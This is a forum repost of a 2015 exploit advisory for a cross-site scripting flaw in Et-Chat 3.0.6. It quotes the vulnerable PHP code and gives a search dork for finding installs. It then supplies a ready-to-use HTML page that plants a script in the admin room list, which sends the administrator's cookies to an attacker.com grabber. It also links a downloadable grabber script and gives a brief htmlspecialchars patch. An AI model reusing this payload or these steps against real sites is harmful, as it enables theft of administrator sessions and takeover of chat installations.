Aerosol Posted March 24, 2015 Report Posted March 24, 2015 # Exploit Title: Et-Chat 3.0.6 Cross Site Scripting Vulnerability# Google Dork: "ET-Chat v3.0.6"# Date: 2015-03-20# Exploit Author: IranHack Security Team# Tested on: Windows 7# Vendor : Www.Et-chat.Ir# Our Website : Www.IranHack.Org***************************************************Vulnerable code :Location : /etchat/class/admin/AdminRoomsIndex.class.phpCode : if (is_array($feld)){ $print_room_list = "<table>"; foreach($feld as $datasets){ if ($datasets[0]!=1) $print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td> </td><td><a href=\"./?AdminDeleteRoom&id=".$datasets[0]."&cs4rue=".$_SESSION['etchat_'.$this->_prefix.'CheckSum4RegUserEdit']."\">".$lang->delete[0]->tagData."</a></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td> <i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>"; else $print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td> </td><td style=\"color: #888888;\"><strike>".$lang->delete[0]->tagData."</strike></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td> <i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>"; } $print_room_list.= "</table>"; }***************************************************Description : This vulnerability allows attacker to grab admin cookie and login with admin account The reason of this vulnerability is that values of the room list ( ".$datasets[1]." ) is not filtered andallows attacker to run javascript code.***************************************************Exploit :1- Upload this page in a host or Set this code in a html page :<html><body><form name="exploit" action="http://target.com/etchat/?AdminCreateNewRoom"method="POST"><input type="hidden" name="room"value="<script>location.href="http://attacker.com/grabber.php?cookie="+escape(document.cookie)</script>" /><script>document.exploit.submit(); </script></form></body></html>2- Give the uploaded html page address to admin. 3- after opening this page by admin , cookies are logged in Log.txt ***************************************************grabber.php : http://up.iranhack.org/uploads/lquswjwo06vrxz1fe4oo.zip***************************************************Patch :If u wanna patch this bug , go to file " /etchat/class/admin/AdminRoomsIndex.class.php "Replace this codes : ".$datasets[1]."With this code : ".htmlspecialchars($datasets[1])."***************************************************Greetz :Mr.XpR , V30Sharp , AL1R3Z4 , Secret.Walker , Irblackhat , FarbodEZRaeL , black-sec , Mr.X2 , @3is , IR4N0nY , , 0x8F , Amirio , 3cure , FTA_Boy , Mr.FixXxer./Moji.RiderSource Quote
